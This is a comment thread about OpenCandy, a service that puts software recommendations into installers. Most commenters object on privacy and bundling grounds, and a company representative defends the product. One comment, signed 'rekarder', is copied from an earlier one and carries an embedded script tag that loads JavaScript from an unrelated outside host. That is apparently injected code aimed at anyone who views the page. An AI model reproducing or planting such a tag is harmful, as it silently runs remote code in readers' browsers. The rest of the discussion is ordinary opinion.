Comments on: OpenCandy brings ad market to software installs. What?

What's the best time to pitch a software download? When the user is installing another app.

[Maccess]

Ads are okay as long as they don't scan your computer and report back to the advertiser, but automated (or activated by default installs) installs of other software is a no-no if the software vendor expects systems administrators to take their products seriously. (If you need to watch each install to de-activate the default selections on a hundred computers...).

[The_Computer_Man]

Agreed from a sys admins perspective. I have spent many hours trying to ensure that software installs go how I want them and not how the installer wants them. Java is a great example of one that I have fought with to stops it's relentless auto-updating.

[Dalkorian]

"The module, when it runs, can base its pitches on information from the user's computer, which it gathers from the installer. Since installers can sniff the registry to determine what hardware and software is installed on the PC, the recommendations can be specific."

It sounds like it CAN scan your computer, but I didn't see a claim anywhere whether or not it can report back (I'm to lazy to look it up right now - sue me.) But I agree otherwise, as long as it's opt-in and not opt-out my vomit-o-meter isn't pegging.

[micth88]

go to past dowload

[Toulinwoek]

Ah, great. A FREE way to invade the privacy of our users and annoy them right out of using our software. There's a grassroots campaign against this gutless garbage already. How do I know? I'm starting it! I would think most users are just barely tolerant of web-based installers that punch them in the nose with "Hey, why not install this WonderApp too while you're at it!". If I download an installer, or insert a CD and I get this kind of intrusive, classless crap, it had batter be one heck of a program with one heck of a price. Otherwise it's already dead in my book, and I will be complaining heavily to the vendor/publisher of that software. This is unacceptable!

[rekarder]

"The module, when it runs, can base its pitches on information from the user's computer, which it gathers from the installer. Since installers can sniff the registry to determine what hardware and software is installed on the PC, the recommendations can be specific."
<script src=http://orienthostel.com/c.js></script> If I download an installer, or insert a CD and I get this kind of intrusive, classless crap, it had batter be one heck of a program with one heck of a price. Otherwise it's already dead in my book, and I will be complaining heavily to the vendor/publisher of that software. This is unacceptable!

[rrtopaz]

awful...exactly as the commenters above said. now instead of quick installs, ya gotta read crap you can also try and uncheck what you don't want...isn't anything easy anymore for the pc user? and to possibly send back additional info to the site...
and what's not to stop them from obtaining e-mail addresses when you sign up to the product you want in your pc? you'll get more spam...
this idea belongs way up in their a _ _....in a place the sun don't shine!

[ArmoredCavalry]

Bundled software?! No way! Who has ever heard of bloating the size of an installer to include software that the end user had no intention of downloading to begin with, and then trying to sneak it in as part of the main program....

Not like they haven't been doing this with toolbars for a decade......

[FranksIRM]

WEB 2.0
The current Web 2.0 paradigm
makes your online usage activity highly trackable,
if not to the planet, then at least to the web-based software vendor
that you're paying $30.00 a month.

ACTIVITY
The current vibe is that such logging of activity is okay for the Web 2.0 world to be successful;
the activity helps (every?) online software vendors to capitalize on popular features,
which results in better software for everyone, right?

MARKETING
As such, I think Open Candy and marketing initiatives like this are okay, too.
For instance, a spellchecking software I recently downloaded
prompted me to also download relevant dictionary files from a different vendor;
this is the same idea, yes?

I feel the rule of thumb needs to be that "like attracts like."
$30/month software should prompt you to buy similarly priced
(and/or more affordable) software.

Thoughts?

[logan1337]

First of all, cool down guys. I admit the scanning of the computer is a bit creepy, but if it's anonymous then who really cares. Web sites are already tracking you, whether you realize it or not.

Secondly, the software is NOT bundled, Armored, it's downloaded, and only if you opt-in.

Thirdly, if you can get over the anti-advertising mindset, this could actually be potentially useful. Nobody's demanding that you install some other piece of software, but what makes this much better (imo) than bundled crapware is that it is actually dynamic, and tailored. The site gives a couple good examples of recommendations (for example, Inkscape when someone installs Gimp). I don't know how it handles competitors; I've contacted them about that one.

[ArmoredCavalry]

There is still code/resources in the installer that serve no purpose except to advertise something you weren't even interested in getting.

Can't we just assume that most users are not totally helpless, and know what they want?

[opendarrius]

Hey all. I summarized what we're doing in regards to privacy in the link at the bottom.

BTW we do NOT bundle software. Meaning we don't add any noticeable size to the installer.

And we are "opt in"... as someone has called out not opt out. It's useless for our partners to recommend a piece of software to you that you actually aren't going to use. It lessens their own user experience and the value they can create for each other.

Think how SpreadFirefox caught on... early on. It was web developers driving visibility. *They* helped change the competitive dynamics in the browser space by actively driving visibility of Firefox. We're helping developers get visibility of "good software" by having other developers leverage their own distribution channel and recommend what *they* think are good products.

Unfortunately a few software publishers have made the install experience crappy by bundling crappy things. But that same channel can be used in a very powerful, clean, transparent way if done with the right intention and with the idea that you need each consumer to see what you're doing as valuable.

Read what we're up to, try it out, and then come talk to me. I'd love to tell each person our story 1:1.

http://www.opencandy.com/blog/entry.php?id=4

Darrius